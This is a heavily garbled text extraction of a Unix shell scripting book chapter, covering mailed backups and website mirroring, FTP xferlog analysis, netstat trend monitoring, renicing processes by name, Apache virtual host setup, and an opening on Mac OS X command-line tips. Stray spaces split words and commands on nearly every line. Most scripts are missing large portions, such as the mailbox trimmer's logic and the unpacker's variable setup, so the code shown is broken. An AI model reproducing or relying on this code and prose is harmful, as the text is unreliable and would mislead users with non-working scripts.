D on e. r emo te bac ku p ba cked up t h e f o l low i n g fi le s :
our e cop as s
a nd ma i led t hem t o ta ylor @intu i tiv e . com w it h re q ue st e d t ar ge t
d ir ect o ry mi rro r
The file archive can then be unpacked (as explored in Script #88, Mirroring a Website) or simply saved, with a mailbox
trimmer script run weekly to ensure that the mailbox doesn't get too big. Here's a sample trimmer script:
# !/ bin / sh
t ot alm s gs= "$ (ec ho 'x' | m ail | sed - n ' 2 p ' | aw k ' {p r in t $ 2} ' )"
e xi t 0
This succinct script deletes all messages in the mailbox other than the $k e ep most recent ones. Obviously, if you're
using something like Hotmail or Yahoo! Mail for your archive storage spot, this script won't work and you'll have to log
in occasionally to trim things.
#88 Mirroring a Website
Large, busy websites like Yahoo! operate a number of mirrors, separate servers that are functionally identical to the
main site but are running on different hardware. While it's unlikely that you can duplicate all of their fancy setup, the
basic mirroring of a website isn't too difficult with a shell script or two.
The first step is to automatically pack up, compress, and transfer a snapshot of the master website to the mirror server.
This is easily done with the rem oteb ackup script shown in Script #87, invoked nightly by c ro n .
Instead of sending the archive to your own mail address, however, send it to a special address named un pa c ke r,
then add a s end ma il alias in /et c/al ia se s (or the equivalent in other mail transport agents) that points to the
u np ack e r script given here, which then unpacks and installs the archive:
u np ack e r:" |/ hom e/ tayl or/b in/ar c hiv e - unp a c ke r"
You'll want to ensure that the script is executable and be sensitive to what applications are in the default PA T H used
by s end m ail : The / var /l og/m essa ge s log should reveal whether there are any problems invoking the script
as you debug it.
The Code
# !/ bin / sh
i f [ ! - d $my di r ] ; th en
ec h o " Wa rni ng : ar chiv e dir $my d i r n o t f ou nd . U np a ck i ng i n to $ h om e"
cd $ho me
my d ir= $h ome # for l ate r use
e lse
cd $my di r
fi
# Ex t rac t the r esul tant file n ame f rom t he u ue n co de d f i le .. .
i f [ "$( ec ho $t arge t|cu t -c1 ) " = " /" - o " $( ec h o $t a rg e t| cu t - c1 - 2) " = " .. " ]
t hen
ec h o " In val id tar get direc t ory $ tar g e t. C an ' t us e ' / ' or '. .' "
ex i t 0
fi
g unz i p $ fn ame
f nam e ="$ (e cho $ fnam e | sed ' s /.t g z $/. t a r/ g' )"
i f [ ! - z "$( ta r tf $fn ame | awk ' {pr i n t $8 }' | gr e p ' ^/ ') " ] ; th en
ec h o " Ca n't u npac k ar chive : fi l e nam e s a re a b so lu t e. "
ex i t 0
fi
e cho ""
e cho "Un pa cki ng arc hive $fna m e i n t o $ t a rg et di r "
c d $ t arg et dir
t ar x vf $m ydi r/ $fna me | sed ' s/^ / /g'
e xi t 0
How It Works
The first thing to notice about this script is that it is set up to mail its results to the address specified in the n ot i fy
variable. While you may opt to disable this feature, it's quite helpful to get a confirmation of the receipt and successful
unpacking of the archive from the remote server. To disable the email feature, simply remove the wrapping parentheses
(from the initial ca t to the end of the script), the entire last line in which the output is fed into the mail program, and
the e cho invocations throughout the script that output its status.
This script can be used to unpack two types of input: If the subject of the email message is a valid subdirectory of the
w eb hom e directory, the archive will be unpacked into that destination. If the subject is anything else, the uudecoded,
but still compressed (with gzip), archive will be stored in the m y di r directory.
One challenge with this script is that the file to work with keeps changing names as the script progresses and
unwraps/unpacks the archive data. Initially, the email input stream is saved in $ t em p , but when this input is run
through u ude co de, the extracted file has the same name as it had before the uu en c od e program was run in
Avoiding Disaster with a Remote Archive, Script #87. This new filename is extracted as f n am e in this script:
f na me= " $(a wk '/ ^b egin / { print $3} ' $te m p )"
Because the tar archive is compressed, $f n ame is som e t hin g .t g z. If a valid subdirectory of the main web
directory is specified in the subject line of the email, and thus the archive is to be installed, the value of $ fn a me is
modified yet again during the process to have a .t a r suffix:
f na me= " $(e ch o $ fn ame | se d 's/ . tgz $ / .ta r / g' )"
As a security precaution, un pack er won't actually unpack a t a r archive that contains filenames with absolute paths
(a worst case could be /e tc /pas swd: You really don't want that overwritten because of an email message
received!), so care must be taken when building the archive on the local system to ensure that all filenames are
relative, not absolute. Note that tricks like .. / ../ . . /.. / e tc/ p as s wd will be caught by the script test too.
The Results
The results of this script aren't visible on the command line, but we can look at the email produced when an archive is
sent without a target directory specified:
a rc hiv e -un pa cke r: Sav ed a s /tm p /un p a cke r . 38 19 8, wi th 10 8 1 li n es
m es sag e su bj ect =" Back up a rchiv e fo r Wed S ep 1 7 2 2: 48 : 11 GM T 2 00 3"
S av ed a rch iv e a s /hom e/ta ylor/ a rch i v e/b a c ku p. 03 0 91 8. t gz
When a target directory is specified but is not available for writing, the following error is sent via email:
a rc hiv e -un pa cke r: Sav ed a s /tm p /un p a cke r . 48 89 4, wi th 10 8 1 li n es
m es sag e su bj ect =" mirr or"
I nv ali d ta rg et di rect ory mirro r . C a n 't f i nd i n / we b
And finally, here is the message sent when everything is configured properly and the archive has been received and
unpacked:
a rc hiv e -un pa cke r: Sav ed a s /tm p /un p a cke r . 49 18 9, wi th 10 8 1 li n es
m es sag e su bj ect =" mirr or"
Sure enough, if we peek in the /web /mirr o r directory, everything is created as we hoped:
$ l s - R s / we b/m ir ror
t ot al 1
1 o ure c opa ss /
The ftp daemon's transfer log (x ferl og) file format is definitely one of the most cryptic in Unix, which makes
analyzing it in a script rather tricky. Worse, there's a standard, common xf e rl o g file format that just about everyone
uses (and which this script expects), and there's an abbreviated ft pd .l o g format that some BSD versions of f t pd
use that's just about impossible to analyze in a script.
So we'll focus on the x fe rlog format. The columns in an x f er lo g are as shown in Table 10-2.
Column Value
15 Current time
6 Transfer time (secs)
7 Remote host
8 File size
9 Filename
10 Transfer type
11 Special action flag
12 Direction
13 Access mode
14 Username
15 Service name
16 Authentication method
17 Authenticated user ID
18-? Additional codes as added by the specific f p td program (usually omitted)
This script quickly scans through x ferl og, highlighting connections and files uploaded and downloaded, and
producing other useful statistics.
The Code
# !/ bin / sh
e xt rac t ()
{
# Ca l led w ith $ 1 = desi red a c ces s m ode , $2 = s e ct io n n a me f o r ou t pu t
if [ - s $te mp ] ; the n
e cho " fi le s up load ed to ser v e r:" ; c at $ t em p
fi
fi
}
c as e $ # in
0 ) l og= $s tdx fe rlog ;;
1 ) l og= "$ 1" ;;
* ) e cho " Usa ge : $( base name $ 0) { x fer l o g na me } " >& 2
e xit 1
e sa c
i f [ ! -r $l og ] ; th en
e cho "$( ba sen am e $0 ): c an't r ead $ log . " > &2
e xit 1
fi
# A sce r tai n whe th er i t's an ab b rev i a ted o r st an d ar d f tp lo g f il e f or ma t . If
# i t's the a bbr ev iate d fo rmat, out p u t s o m e mi ni m al s t at i st ic a l da t a an d q ui t :
# T he a bbr ev iat ed for mat is to o di f f icu l t t o an a ly ze in a sh o rt s c ri pt ,
# u nfo r tun at ely .
by tes i n=" $( awk ' BEGI N{su m=0} $ 12= = " i" { s um + = $ 8} E N D{ pr in t s um }' $ l og ) "
b yt eso u t=" $( awk ' BEGI N{su m=0} $ 12= = " o" { s um + = $ 8} E N D{ pr in t s um }' $ l og ) "
t im e=" $ (aw k 'BE GI N{su m=0} {sum += $ 6 } E N D { pr in t s um }' $l og ) "
e xi t 0
How It Works
In an x ferlo g, the total number of incoming bytes can be calculated by extracting just those lines that have
d ir ect i on= "i " and then summing up the eighth column of data. Outgoing bytes are in the same column, but for
d ir ect i on= "o ".
by tes i n=" $( awk ' BEGI N{su m=0} $ 12= = " i" { s um + = $ 8} E N D{ pr in t s um }' $ l og ) "
b yt eso u t=" $( awk ' BEGI N{su m=0} $ 12= = " o" { s um + = $ 8} E N D{ pr in t s um }' $ l og ) "
Ironically, the slower the network connection, the more accurate the total connection time is. On a fast network, smaller
transfers are logged as taking zero seconds, though clearly every transfer that succeeds must be longer than that.
Three types of access mode are possible: a is anonymous, g is for users who utilize the guest account (usually
password protected), and r is for real or regular users. In the case of anonymous and guest users, the account value
(field 14) is the user's password. People connecting anonymously are requested by their FTP program to specify their
email address as their password, which is then logged and can be analyzed.
Of this entire x fer lo g output stream, the most important entries are those with an anonymous access mode and a
direction of i , indicating that the entry is an upload listing. If you have allowed anonymous connections and have either
deliberately or accidentally left a directory writable, these anonymous upload entries are where you'll be able to see if
skript kiddies, warez hackers, and other characters of ill repute are exploiting your system. If such an entry lists a file
uploaded to your server, it needs to be checked out immediately, even if the file-name seems quite innocuous.
In this rather complex a wk invocation, we're checking to see whether field 13 matches the anonymous account code
(because ex tra ct is called as extr act " a " "An o n ymo u s A cc es s ") and whether field 12 indicates that it's
an upload with the code i . If both of these conditions are true, we process the value of field 9, which is the name of
the file uploaded.
If you're running an FTP server, this is definitely a script for a weekly (or even daily) cr on job.
The Results
The results depend on the format of the transfer log the script is given. If it's an abbreviated form, some minimal
statistics are generated and the script quits:
$ x fer l og s ucc in ct.x ferl og
A bb rev i ate d ftp d xfer log from A ug 1 04: 2 0 :1 1 to Se p 1 0 4 :0 7: 4 1
byt es in : 215, 300, 253
byt es ou t: 30, 305, 090
When a full xf erl og in standard format is encountered, considerably more information can be obtained and
displayed by the script:
$ x fer l og
S um mar y of x fer lo g fr om M on Se p 1 5 : 03: 1 1 2 00 3 t o Tu e S e p 30 17 :3 8 :5 0 2 00 3
byt es in : 675, 840
b yte s out : 3,98 9,48 8
t ran s fer t ime : 11 s econ ds
A no nym o us Ac ces s
c omm o n a cc oun t (ent ered pass w ord ) val u e s:
1 t ay lor @i ntui tive .com
1 j oh n@d oe
f ile s do wn loa de d fr om s erver :
1 / My Sub sc ript ions .opml
f ile s up lo ade d to s erve r:
1 / tm p/F in d.Wa rez. txt
Security Alert! Did you notice that someone using anonymous FTP has uploaded a file called
/ tm p/F i nd. Wa rez .t xt? "Warez" are illegal copies of licensed software not something you want on your
server. Upon seeing this, I immediately went into my FTP archive and deleted the file.
#90 Monitoring Network Status
One of the most puzzling administrative utilities in Unix is ne t s ta t, which is too bad, because it offers quite a bit of
useful information about network throughput and performance. With the -s flag, n e ts t at outputs volumes of
information about each of the protocols supported on your computer, including TCP, UDP, IPv6, ICMP, IPsec, and
more. Most of those protocols are irrelevant for a typical configuration; the protocol to examine is TCP. This script
analyzes TCP protocol traffic, determining the percentage of failure and including a warning if any values are out of
bounds.
Analyzing network performance as a snapshot of long-term performance is useful, but a much better way to analyze
data is with trends. If your system regularly has 1.5 percent packet loss in transmission, and in the last three days the
rate has jumped up to 7.8 percent, a problem is brewing and needs to be analyzed in more detail.
As a result, Script #90 is in two parts. The first part is a short script that is intended to run every 10 to 30 minutes,
recording key statistics in a log file. The second script parses the log file and reports typical performance and any
anomalies or other values that are increasing over time.
Caution Some flavors of Unix can't run this code as is! It turns out that there is quite a variation in the output
format of the net stat command between Linux and Unix versions. This code works for Mac OS X and
FreeBSD; the changes for other Unixes should be straightforward (check the log file to see if you're
getting meaningful results to ascertain whether you need to tweak it).
The Code
#! /bin /sh
se nt=" $(gr ep 'p ack ets sen t' $tem p | c u t -d \ - f 1 | s e d 's / [^ [ :d i gi t: ] ]/ / g' ) "
re sent ="$( gre p 're tra nsmi tte d' $ t emp | cut -d \ - f 1 | s ed 's / [^ [ :d ig i t: ] ]/ / g' )"
re ceiv ed=" $(g re p ' pac kets re ceiv e d$' $ t emp | c ut -d \ - f1 | \
sed 's/[ ^[: di git :]] //g' )"
du pack s="$ (gr ep 'd upl icat e a cks' $te m p | c u t - d\ -f 1 | \
sed 's/[ ^[: di git :]] //g' )"
ou tofo rder ="$ (g rep 'o ut-o f-o rder pac k e t s' $ te m p | c u t -d \ - f 1 | \
sed 's/[ ^[: di git :]] //g' )"
co nnec treq ="$ (g rep 'c onne cti on r e que s t s ' $ t em p | cu t - d\ -f 1 | \
sed 's/[ ^[: di git :]] //g' )"
co nnec tacc ="$ (g rep 'c onne cti on a c cep t s ' $t e mp | c ut -d \ - f1 | \
sed 's/[ ^[: di git :]] //g' )"
re tmou t="$ (gr ep 'r etr ansm it time o uts ' $ tem p | cu t - d \ -f 1 | \
sed 's/[ ^[: di git :]] //g' )"
ec ho - n "s nt= $s ent ;re =$re sen t;re c =$r e c e ive d ;d u p= $ du p ac ks ; "
ec ho - n "o o=$ ou tof ord er;c req =$co n nec t r e q;c a cc = $c o nn e ct ac c ;"
ec ho " reto =$r et mou t"
ex it 0
The second script analyzes the n ets tat historical log file:
#! /bin /sh
if [ ! -r $lo g ] ; th en
echo "Er ror : can 't read ne tsta t lo g f ile $l o g" >& 2
exit 1
fi
if [ $ repn -g e 5 ] ; then
echo "** * W ar nin g: Retr ans mits of > = 5% i nd i ca t es a pr o bl e m "
echo "(g ate wa y o r r oute r f lood e d?) "
fi
if [ $ reto pn -g e 5 ] ; th en
echo "** * W ar nin g: Tran smi t ti m eou t s of > = 5 % i nd i ca te s a pr o bl em "
echo "(g ate wa y o r r oute r f lood e d?) "
fi
if [ $ dupp n - ge 5 ] ; the n
echo "** * W ar nin g: Dupl ica te r e cei v e s of >= 5% in d ic at e s a p r ob le m "
echo "(p rob ab ly on the oth er e n d)"
fi
if [ $ oopn -g e 5 ] ; then
echo "** * W ar nin g: Out of orde r s o f > = 5 % i n di c at e s a p ro b le m "
echo "(b usy n etw ork or rou ter/ g ate w a y fl o od ) "
fi
ec ho " "
How It Works
The net stat program is tremendously useful, but its output can be quite intimidating. Here are just the first ten lines:
$ nets tat -s -p tc p | hea d
tc p:
36 083 p ack ets sen t
91 34 data pa cket s (1 0 9 5 816 by t es )
24 da ta p ack ets ( 564 0 b yte s ) r et r an s mi tt e d
0 res ends in itia t ed b y MTU di s co v er y
19 290 ack -on ly p a cke t s (13 8 56 de l ay e d)
0 URG onl y p acke t s
0 win dow pro be p a cke t s
62 95 wind ow upda t e p a c k ets
13 40 cont rol pac k ets
So the first step is to extract just those entries that contain interesting and important network performance statistics.
That's the main job of get stat s, and it does this by saving the output of the n e ts t at command into the temp file
$t emp and going through $ tem p ascertaining key values, such as total packets sent and received. To ascertain the
number of packets sent, for example, the script uses
se nt=" $(gr ep 'p ack ets sen t' $tem p | c u t -d \ - f 1 | s e d 's / [^ [ :d i gi t: ] ]/ / g' ) "
The sed invocation removes any nondigit values to ensure that no spaces or tabs end up as part of the resultant
value. Then all of the extracted values are written to the n e t sta t . lo g log file in the format
va r1Na me=v ar1 Va lue ; v ar2N ame =var 2 Val u e ; and so forth. This format will let us later use ev a l on
each line in n et sta t.l og and have all the variables instantiated in the shell:
ti me=1 0639 848 00 ;sn t=3 872; re= 24;r e c=5 0 6 5 ;du p =3 0 6; o o= 2 15 ;c r eq = 46 ; ca cc = 17 ; re t o= 17 0
The net perf script does the heavy lifting, parsing ne t s t at. l og and reporting both the most recent performance
numbers and any anomalies or other values that are increasing over time.
Although the ne tpe rf script seems complex, once you understand the math, it's quite straightforward. For example, it
calculates the current percentage of retransmits by dividing retransmits by packets sent and then multiplying this result
by 100. An integer-only version of the retransmission percentage is calculated by taking the result of dividing
retransmissions by total packets sent, multiplying it by 10,000, and then dividing by 100:
re p="$ ($sc rip tb c - p 3 $re /$s nt\* 1 00) "
re pn=" $($s cri pt bc -p 4 $r e/$ snt\ * 100 0 0 | c u t - d. -f 1 )"
re pn=" $(( $re pn / 100 ))"
As you can see, the naming scheme for variables within the script begins with the abbreviations assigned to the various
ne tsta t values, which are stored in net stat . l og at the end of the g et s ta ts script:
ec ho - n "s nt= $s ent ;re =$re sen t;re c =$r e c e ive d ;d u p= $ du p ac ks ; "
ec ho - n "o o=$ ou tof ord er;c req =$co n nec t r e q;c a cc = $c o nn e ct ac c ;"
ec ho " reto =$r et mou t"
The abbreviations are sn t, re, rec , dup , oo, cre q , ca c c , and r et o . In the ne t pe r f script, the p suffix is
added to any of these abbreviations for variables that represent decimal percentages of total packets sent or received.
The pn suffix is added to any of the abbreviations for variables that represent integer-only percentages of total packets
sent or received. Later in the n etper f script, the ps suffix denotes a variable that represents the percentage
summaries (averages) used in the final calculations.
The whi le loop steps through each entry of ne ts t a t.l o g , calculating the four key percentile variables (r e,
re tr, d up, and oo , which are retransmits, transmit timeouts, duplicates, and out of order, respectively). All are
written to the $s tat s temp file, and then the aw k script sums each column in $s ta t s and calculates average
column values by dividing the sums by the number of records in the file (NR ).
The awk invocation is fed the set of summary statistics ($ s tat s ) produced by the w hi le loop and utilizes the
calculations saved in the $a wkt mp file to output v a ri ab l e =va l u e sequences. These v a ri a bl e =v al u e
sequences are then incorporated into the shell with the e val statement, instantiating the variables r ep s , r et op s ,
du pps, and o ops , which are average retransmit, average retransmit timeouts, average duplicate packets, and
average out-of-order packets, respectively. The current percentile values can then be compared to these average
values to spot problematic trends.
It will produce a log file entry every 15 minutes. To ensure the necessary file permissions, it's best to actually create an
empty log file by hand before running gets tat s for the first time:
$ sudo tou ch /v ar/ log /net sta t.lo g
$ sudo chm od a+ rw /va r/lo g/n etst a t.l o g
Now the get st ats program should chug along happily, building a historical picture of the network performance of
your system. To actually analyze the contents of the log file, run n et p er f without any arguments.
The Results
First off, let's check on the n ets tat .log file:
$ tail -3 /va r/ log /ne tsta t.l og
ti me=1 0639 818 01 ;sn t=1 4386 ;re =24; r ec= 1 5 7 00; d up = 44 4 ;o o =5 55 ; cr e q= 5 63 ;c a cc = 17 ; re to =158
ti me=1 0639 824 00 ;sn t=1 7236 ;re =24; r ec= 2 0 0 08; d up = 45 4 ;o o =8 48 ; cr e q= 5 70 ;c a cc = 17 ; re to =158
ti me=1 0639 830 00 ;sn t=2 0364 ;re =24; r ec= 2 5 0 22; d up = 58 9 ;o o =1 18 1 ;c r eq = 58 2; c ac c =1 7 ;r et o=158
It looks good, so let's run ne t perf and see what it has to report:
$ netp erf
Ne tsta t is cu rr ent ly repo rti ng t h e f o l l owi n g:
2510 8 pa cke ts se nt, wit h 2 4 re t ran s m i ts ( 0% ) a n d 1 58 r e tr a ns m it t i me o ut s ( .6 00%)
3442 3 pa cke ts re cei ved, wi th 1 5 29 d u p es ( 4. 4 00 % ) a nd 1 1 81 ou t o f o rd e r ( 3. 40 0%)
583 tot al co nne cti on r equ ests , of w h ich 17 we r e a cc ep t ed
The Code
# !/ bin / sh
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: $0 [-n nic eval] [-u u ser | - t tt y] [- p] pa t te rn " > &2
e xit 1
fi
i f [ - z "$ pi d" ] ; th en
e cho "$0 : no pr oces ses match pat t e rn $ 1 " >& 2 ; e xi t 1
e li f [ ! - z "$( ec ho $ pid | gre p ' ' ) " ] ; t he n
e cho "$0 : mor e than one proc e ss m a tch e s p at te r n ${ 1 }: "
i f [ ! - z "$t ty " ] ; th en
ru n me= "p s c u -t $ tty"
e lif [ ! - z " $u ser" ] ; then
ru n me= "p s c u -U $ user "
e lse
ru n me= "p s c u -U $ {USE R:-LO G NAM E } "
fi
e val $ru nm e | \
a wk "/ $1 / { pr intf \" u ser % -8. 8 s pi d % -6 .6 s j ob % s \n \" , \
\ $1, \$ 2,\ $1 1 }"
e cho "Us e -u us er o r -t tty t o n a r row d ow n yo u r se l ec t io n c ri te r ia ."
e li f [ $sh ow pid - eq 1 ] ; then
e cho $pi d
e ls e
# re a dy to go : let' s do it!
e cho -n "R eni ci ng j ob \ ""
e cho -n $( ps cp $pi d | sed ' s / [ ] */ / g ' | ta i l -1 | cu t - d\ - f 5- )
e cho "\" ( $pi d) "
r eni c e $ ni cev al $pi d
fi
e xi t 0
How It Works
This script borrows liberally from the earlier Script #52, Killing Processes by Name, which does a similar mapping of
process name to process ID, but then kills the jobs, rather than just lowering their priority.
In this situation, you don't want to accidentally renice a number of matching processes (imagine re ni c en am e -n 1 0
" *" , for example), so the script fails if more than one process matches the criteria. Otherwise, it makes the change
specified and lets the actual reni ce program report any errors that may have been encountered.
The Results
First off, here are the results when there is more than one matching process:
$ r eni c ena me "v im "
r en ice n ame : mor e than one proc e ss m a tch e s p at te r n vi m :
u ser tay lo r p id 1 0581 job vim
u ser tay lo r p id 1 0949 job vim
U se -u use r or -t tty to narro w do w n yo u r s el ec t io n c ri t er ia .
I subsequently quit one of these processes and ran the same command:
$ r eni c ena me "v im "
R en ici n g j ob "v im " (1 0949 )
1 11 31: old p rio ri ty 0 , ne w pri o rit y 1
Notice that the vim process (10949) has a nice value (the NI column) of 1, while everything else I'm running has a
nice value of 0, the standard user priority level.
i f [ $ # -n e 2 ] ; the n
e cho "Us ag e: $( base name $0) d esi r e dni c e j ob na m e" > & 2
e xit 1
fi
e xi t 0
Within a c r on job, this script could be used to ensure that certain apps are pushed to the desired priority within a few
minutes of being launched.
#92 Adding New Virtual Host Accounts
This script is particularly useful for web administrators who serve a number of different domains and websites from a
single server. A great way to accomplish this is by using virtual hosting, a capability of Apache (and many other web
servers) to assign multiple domain names to the same IP address and then split them back into individual sites within
the Apache configuration file.
Just as adding a new account on a private machine requires the creation of a new home directory, creating a new
virtual host account requires creating a separate home for both the web pages themselves and the resultant log files.
The material added is straightforward and quite consistent, so it's a great candidate for a shell script.
The Code
# !/ bin / sh
i f [ $ # -n e 3 ] ; the n
e cho "Us ag e: $( base name $0) [ -n] d oma i n a dm in - em ai l o w ne r- i d" > & 2
e cho " Wh ere - n sh ows what i t w o u ld d o , bu t d oe sn ' t d o an y th in g " >& 2
e xit 1
fi
i f [ $ s how on ly -e q 1 ] ; then
t emp o ut= "/ dev /t ty" # t o out p ut v i rtu a l ho st t o s td o ut
e cho "mk di r $ do croo t/$1 $log r oot / $ 1"
e cho "ch ow n $ 3 $doc root /$1 $ l ogr o o t/$ 1 "
e ls e
i f [ ! - d $do cr oot/ $1 ] ; th e n
if mkd ir $d oc root /$1 ; the n
e cho " Fai le d on mkd ir $d o cro o t /$1 : ex it in g ." > & 2 ; e xi t 1
fi
fi
i f [ ! - d $lo gr oot/ $1 ] ; th e n
mk d ir $l ogr oo t/$1
if [ $ ? -ne 0 -a $? - ne 17 ] ; t hen
# er ro r c od e 17 = d irect o ry a l rea d y e xi st s
e cho " Fai le d on mkd ir $d o cro o t /$1 : ex it in g ." > & 2 ; e xi t 1
fi
fi
c how n $3 $ doc ro ot/$ 1 $l ogroo t /$1
fi
# No w le t' s d ro p th e ne cessa r y b l o ck i n to t he ht tp d .c o nf f i le
E OF
a dda f ter =" $(c at -n $htt pconf | gre p '</ V i rt ua lH o st >' | aw k ' NR = =1 { p ri nt $1 }' ) "
i f $re s tar t ; t he n
m v $ h ttp co nf $h ttpc onf. faile d .$d a t e
m v $ h ttp co nf. $d ate $htt pconf
$ res t art
e cho "Co nf igu ra tion app ears t o h a v e f a i le d; r e st ar t ed wi th ol d c on fi g " >& 2
e cho "Fa il ed co nfig urat ion i s in $ htt p c on f. fa i le d. $ da t e" > & 2
e xit 1
fi
e xi t 0
How It Works
Though long, this script is quite straightforward, as most of it is focused on various output messages. The error
condition checks in the first section are complex conditionals that are worth exploring. The most complex of them
checks the ID of the user running the script:
i f [ $ ( id -u ) ! = 0 -a $sh owonl y = 0 ]; t h en
This test can be paraphrased as, If you aren't r o o t, and you haven't specified that you want only the commands
displayed on the terminal, then ...
After each Unix command, this script checks the return code to ensure that things went well, which catches most of the
common errors. The one error not caught this way occurs if there's no ch o wn command or if the ch ow n command
can be run only by roo t. If that's the case, simply comment out the following line, or alter it to work properly:
c ho wn $ 3 $ do cro ot /$1 $log root/ $ 1
In a similar way, many web hosting companies have their own preferred set of entries in a Vi rt u al Ho s t block, and
perhaps a more restrictive Di recto ry privilege set than the one specified in this script. In both cases, fine-tuning the
script once ensures that all subsequent accounts are created with exactly the right permissions and configuration.
The script takes particular pains to avoid leaving you with a corrupted h t tp d. c on f file (which could be disastrous): It
copies the content in the current ht tpd. conf file to a temporary file (h t tp . co nf . MM DD H HM M, e.g.,
h tt p.c o nf. 10 031 11 8), injects the new V ir t u alH o s t and D i re ct o ry blocks into the live ht t pd .c o nf
file, and then restarts the web server. If the server restart returns without an error, all is well, and the old config file is
kept for archival purposes. If the restart fails, however, the following code is executed:
i f $re s tar t ; t he n
m v $ h ttp co nf $h ttpc onf. faile d .$d a t e
m v $ h ttp co nf. $d ate $htt pconf
$ res t art
e cho "Co nf igu ra tion app ears t o h a v e f a i le d; r e st ar t ed wi th ol d c on fi g " >& 2
e cho "Fa il ed co nfig urat ion i s in $ htt p c on f. fa i le d. $ da t e" > & 2
e xit 1
fi
The live h t tpd .c onf file is moved to ht tp .c o n f.f a i led . MM D DH HM M , and the old ht t p. co n f file, now
saved as htt p. con f. MMD DHHMM , is moved back into place. The web server is started once again, and an error
message is output.
These hoops, as shown in the snippet just given, ensure that, whether the V i rt u al Ho s t addition is successful or
not, a copy of both the original and edited h tt p. c o nf files remains in the directory. The only stumbling block with
this technique occurs if the rest art command doesn't return a nonzero return code upon failure. If this is the case,
it's well worth lobbying the developer to have it fixed, but in the meantime, if the script thinks that the r es ta r t went
fine but it didn't, you can jump into the conf directory, move the new ht t p. c on f file to
h tt p.c o nf. fa ile d. MMDD HHMM , move the old version of the configuration file, now saved as
h tt pd. c onf .M MDD HH MM, back to ht tpd. c o nf, and then restart by hand.
The Results
Because the script doesn't have any interesting output when no errors are encountered, let's look at the "show, but
don't do" output instead by specifying the -n flag to a d dvi r t ua l:
$ a ddv i rtu al -n b aby. net admin @ bab y . net t ay lo r
m kd ir / etc /h ttp d/ html /bab y.net /va r / log / h tt pd // b ab y. n et
c ho wn t ayl or /e tc /htt pd/h tml/b a by. n e t / v a r/ lo g/ h tt pd / /b a by .n e t
# ## ### # Vi rt ual H ost setu p for bab y . net # ## ## ## # ## #
A second useful addition would be to test and possibly refine the r es t ar t testing; if your re st a rt program
doesn't return a nonzero value on failure, you could capture the output and search for specific words (like "failed" or
"error") to ascertain success or failure. Or immediately after restarting, use ps | gr ep to see if h t tp d is running, and
respond appropriately.
Chapter 11: Mac OS X Scripts
Overview
One of the most important changes in the world of Unix and Unix-like operating systems was the release of the
completely rewritten Apple Mac OS X system. Jumping from the older Mac OS 9, Mac OS X is built atop a solid and
reliable Unix core called Darwin. Darwin is an open source Unix based on BSD Unix, and if you know your Unix at all,
the first time you open the Terminal application in Mac OS X you'll doubtless gasp and swoon with delight. Everything
you'd want, from development tools to standard Unix utilities, is included with the latest generation of Macintosh
computers, with a gorgeous GUI quite capable of hiding all that power for people who aren't ready for it.
There are some significant differences between Mac OS X and Linux/Unix, however, not the least of which is that Mac
OS X uses a system database called NetInfo as a replacement for a number of flat information files, notably
/ et c/p a ssw d and /e tc/ alias es. This means that if you want to add a user to the system, for example, you
have to inject his or her information into the Ne tI n f o database, not append it to the / et c/ p as sw d file.
Additional changes are more on the fun and interesting side, fortunately. One tremendously popular Mac OS X
application that many people adore is i Tunes , an elegant and powerful MP3 player and online radio tuner application.
Spend enough time with iTunes, though, and you'll find that it's very hard to keep track of what songs are on your
system. Similarly, Mac OS X has an interesting command-line application called o pe n, which allows you to launch
graphical ("Aqua" in Mac OS X parlance) applications from the command line. But op e n could be more flexible than it
is, so a wrapper helps a lot.
There are other Mac OS X tweaks that can help you in your day-to-day interaction. For example, if you work on the
command line with files created for the GUI side of the Macintosh, you'll quickly find that the end-of-line character in
these files isn't the same as the character you need when working on the command line. In technical parlance, Aqua
systems have end-of-line carriage returns (notationally, an \ r character), while the Unix side wants newlines (an \ n).
Instead of a file in which each line is displayed one after the other, a Mac Aqua file will show up in the Terminal without
the proper line breaks. Have a file that's suffering from this problem? Here's what you'd see if you tried to c at it:
$ c at m ac- fo rma t- file .txt
$
Yet you know there's content. To see that there's content, use the - v flag to ca t , which makes all otherwise hidden
control characters visible. Suddenly you see something like this:
$ c at - v m ac -fo rm at-f ile. txt
T he ra i n i n Spa in ^Mfa lls mainl y on ^ M the p la in .^ M No k i dd i ng . I t do e s. ^M $
Once this is applied to the sample file, things start to make a lot more sense:
$ t r ' \ r' '\ n' < mac- form at-fi l e.t x t
T he ra i n i n Spa in
f al ls m ain ly on
t he pl a in.
N o kid d ing . It do es.
If you open up a Unix file in a Mac application like Microsoft Word and it looks all wonky, you can also switch end-of-
line characters in the other direction toward an Aqua application:
$ t r ' \ n' '\ r' < unix file .txt > ma c f ile . t xt
One last little snippet before we get into the specific scripts for this chapter: easy screen shots in the world of Mac OS
X. If you've used the Mac for any length of time, you've already learned that it has a built-in screen capture capability
that you access by pressing CMD-SHIFT-3. You can also use the Mac OS X utility G r ab located in the
Applications/Utilities folder, and there are some excellent third-party choices, including Ambrosia Software's Sn ap z
P ro X, which I've used for the screen shots in this book.
However, did you know that there's a command-line alternative too? There's no man page for it, but
s cr een c apt ur e can take shots of the current screen and save them to the Clipboard or to a specific named file (in
JPEG or TIFF format). Type in the command without any arguments, and you'll see the basics of its operation:
$ s cre e nca pt ure
s cr een c apt ur e: il lega l us age, f ile r equ i r ed i f n ot g o in g t o c li pb o ar d
u sa ge: scr ee nca pt ure [-ic mwsWx ] [f i l e] [ c ur so r]
-i ca ptu re scr een inter a cti v e ly, b y se le c ti on or wi nd o w
con tr ol k ey - caus e s s c r een s ho t to go t o c l ip bo a rd
spa ce key - togg l e b e t wee n mo us e s el ec t io n a nd
wind o w s e l ect i o n mo de s
esc ap e ke y - canc e ls i n ter a c ti ve s c re en sh o t
-c fo rce s cree n ca pture to g o to t he c li p bo ar d
-m on ly ca ptur e th e mai n mo n i tor , un de fi n ed i f - i i s s et
-w on ly al low wind ow se l ect i o n m o d e
-s on ly al low mous e sel e cti o n mo d e
-W st art i nter acti on in win d o w s e l ec ti on mo de
-x do no t play sou nds
f ile wh ere t o sa ve t he sc r een c apt u r e
This is an application begging for a wrapper script. For example, to take a shot of the screen 30 seconds in the future,
you could use
$ s lee p 30 ; scr ee ncap ture capt u re. t i ff
But what if you wanted to take a series of screen shots, spaced one minute apart? A simple loop would work:
m ax sho t s=6 0; co un ter= 0
w hi le [ $c ou nte r -lt $max shots ] ; d o
s cre e nca pt ure c aptu re${ count e r}. t i ff
c oun t er= $( (co un ter + 1) )
s lee p 60
d on e
This will take a screen shot every 60 seconds for 1 hour, creating 60 rather large TIFF files, over 1.5MB each,
